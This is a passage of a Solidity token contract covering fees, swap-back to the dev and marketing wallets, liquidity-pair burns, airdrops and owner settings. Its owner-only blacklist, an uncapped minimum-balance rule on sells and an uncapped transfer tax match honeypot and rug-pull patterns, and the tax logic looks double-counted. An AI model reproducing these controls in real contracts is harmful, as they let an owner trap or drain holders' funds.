                                _holderLastTransferTimestamp[tx.origin] = block.number;
                            }
                        }
                        
                        //when buy
                        if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                        }
                        
                        //when sell
                        else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                                require(balanceOf(from) - amount >= LimitMinBalanceAmount, "Must be at least 100 balanceOf from");
                                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                        }
                        else if(!_isExcludedMaxTransactionAmount[to]){
                            require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                        }
                    }
                }
                
                
                
                uint256 contractTokenBalance = balanceOf(address(this));
                
                bool canSwap = contractTokenBalance >= swapTokensAtAmount;

                if( 
                    canSwap &&
                    swapEnabled &&
                    !swapping &&
                    !automatedMarketMakerPairs[from] &&
                    !_isExcludedFromFees[from] &&
                    !_isExcludedFromFees[to]
                ) {
                    swapping = true;
                    
                    swapBack();

                    swapping = false;
                }
                
                if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
                    autoBurnLiquidityPairTokens();
                }

                bool takeFee = !swapping;

                // if any account belongs to _isExcludedFromFee account then remove the fee
                if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
                    takeFee = false;
                }
                
                uint256 fees = 0;
                // only take fees on buys/sells, do not take on wallet transfers
                if(takeFee){
                    // on sell
                    if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                        fees = amount.mul(sellTotalFees).div(100);
                        tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                        tokensForDev += fees * sellDevFee / sellTotalFees;
                        tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
                    }
                    // on buy
                    else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                        fees = amount.mul(buyTotalFees).div(100);
                        tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                        tokensForDev += fees * buyDevFee / buyTotalFees;
                        tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
                    }
                    //transfer tax
                    if(!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && TaxFeeAmount > 0){
                        (uint256 rFee, uint256 tFee) = _getValues(amount);
                        _reflectFee(rFee, tFee);
                        fees = amount.mul(TaxFeeAmount).div(100);
                    }
                    if(fees > 0){    
                        super._transfer(from, address(this), fees);
                    }
                    
                    amount -= fees;
                }

                super._transfer(from, to, amount);
            }


function _reflectFee(uint256 rFee, uint256 tFee) private {
    _rTotal = _rTotal.sub(rFee);
    _tFeeTal = _tFeeTal.add(tFee);
}
function _getValues(uint256 amount) public view returns (uint256, uint256){
    uint256 tFee = _getTValues(amount);
    uint256 rFee = _getRValues(tFee, _getRate());
    return ( rFee, tFee);
}
function _getTValues(uint256 amount) private view returns (uint256){
    uint256 tFee = amount.mul(TaxFeeAmount).div(100);
    return  tFee;
}
function _getRValues(uint256 tFee, uint256 currentRate) private pure returns (uint256){
    //uint256 currentRate = _getRate();
    uint256 rFee = tFee.mul(currentRate);
    return rFee;
}
function _getRate() private view returns(uint256){
    (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
    return rSupply.div(tSupply);
}
function _getCurrentSupply() public view returns (uint256, uint256){
    uint256 rSupply = _rTotal;
    uint256 tSupply = tTotal;
    for (uint256 i = 0; i< _exclud.length; i++){
        if (_rOwned[_exclud[i]] > rSupply || _tOwned[_exclud[i]] > tSupply) return (_rTotal, tTotal);
        rSupply = rSupply.sub(_rOwned[_exclud[i]]);
        tSupply = tSupply.sub(_tOwned[_exclud[i]]);
    }
     if (rSupply < _rTotal.div(tTotal)) return (_rTotal, tTotal);
    return (rSupply, tSupply);
}

            function swapTokensForEth(uint256 tokenAmount) private {

                // generate the uniswap pair path of token -> weth
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = uniswapV2Router.WETH();

                _approve(address(this), address(uniswapV2Router), tokenAmount);

                // make the swap
                uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    tokenAmount,
                    0, // accept any amount of ETH
                    path,
                    address(this),
                    block.timestamp
                );
                
            }
            
            
            
            function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
                // approve token transfer to cover all possible scenarios
                _approve(address(this), address(uniswapV2Router), tokenAmount);

                // add the liquidity
                uniswapV2Router.addLiquidityETH{value: ethAmount}(
                    address(this),
                    tokenAmount,
                    0, // slippage is unavoidable
                    0, // slippage is unavoidable
                    deadAddress,
                    block.timestamp
                );
            }

            function swapBack() private {
                uint256 contractBalance = balanceOf(address(this));
                uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
                bool success;
                
                if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

                if(contractBalance > swapTokensAtAmount * 20){
                contractBalance = swapTokensAtAmount * 20;
                }
                
                // Halve the amount of liquidity tokens
                uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
                uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
                
                uint256 initialETHBalance = address(this).balance;

                swapTokensForEth(amountToSwapForETH); 
                
                uint256 ethBalance = address(this).balance.sub(initialETHBalance);
                
                uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
                uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
                
                
                uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
                
                
                tokensForLiquidity = 0;
                tokensForMarketing = 0;
                tokensForDev = 0;
                
                (success,) = address(devWallet).call{value: ethForDev}("");
                
                if(liquidityTokens > 0 && ethForLiquidity > 0){
                    addLiquidity(liquidityTokens, ethForLiquidity);
                    emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
                }
                
                
                (success,) = address(marketingWallet).call{value: address(this).balance}("");
            }
            
            function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
                require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
                require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
                lpBurnFrequency = _frequencyInSeconds;
                percentForLPBurn = _percent;
                lpBurnEnabled = _Enabled;
            }
            
            function autoBurnLiquidityPairTokens() internal returns (bool){
                
                lastLpBurnTime = block.timestamp;
                
                // get balance of liquidity pair
                uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
                
                // calculate amount to burn
                uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
                
                // pull tokens from pancakePair liquidity and move to dead address permanently
                if (amountToBurn > 0){
                    super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
                }
                
                //sync price since this is not in a swap transaction!
                IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
                pair.sync();
                emit AutoNukeLP();
                return true;
            }

            function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
                require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
                require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
                lastManualLpBurnTime = block.timestamp;
                
                // get balance of liquidity pair
                uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
                
                // calculate amount to burn
                uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
                
                // pull tokens from pancakePair liquidity and move to dead address permanently
                if (amountToBurn > 0){
                    super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
                }
                
                //sync price since this is not in a swap transaction!
                IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
                pair.sync();
                emit ManualNukeLP();
                return true;
            }

     
function airdrop(address recipient, uint256 amount) external onlyOwner() {
   // removeAllFee();
    _transfer(_msgSender(), recipient, amount);
   // restoreAllFee();
}

function airdropInternal(address recipient, uint256 amount) internal {
   // removeAllFee();
    _transfer(_msgSender(), recipient, amount);
   // restoreAllFee();
}

function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
    uint256 iterator = 0;
    require(newholders.length == amounts.length, "must be the same length");
    while(iterator < newholders.length){
        airdropInternal(newholders[iterator], amounts[iterator]);
        iterator += 1;
    }
}


            function addToBlackList(address account) public onlyOwner {
                BlackList[account] = true;
            }
            function removeFromBlackList(address account) public onlyOwner {
                BlackList[account] = false;
            }
            // must be remain a small balance tokens to holder
            function Dust(uint256 LimitBalanceAmount) public onlyOwner{
              LimitMinBalanceAmount = LimitBalanceAmount;
            }
            // function updateMaxWallet(uint256 MaxAmount) public onlyOwner{
            //    MaxWalletValue = MaxAmount ;
            // }
            function TransferTaxFeePercent(uint256 TaxFee) public onlyOwner{
                TaxFeeAmount = TaxFee;
            }
        }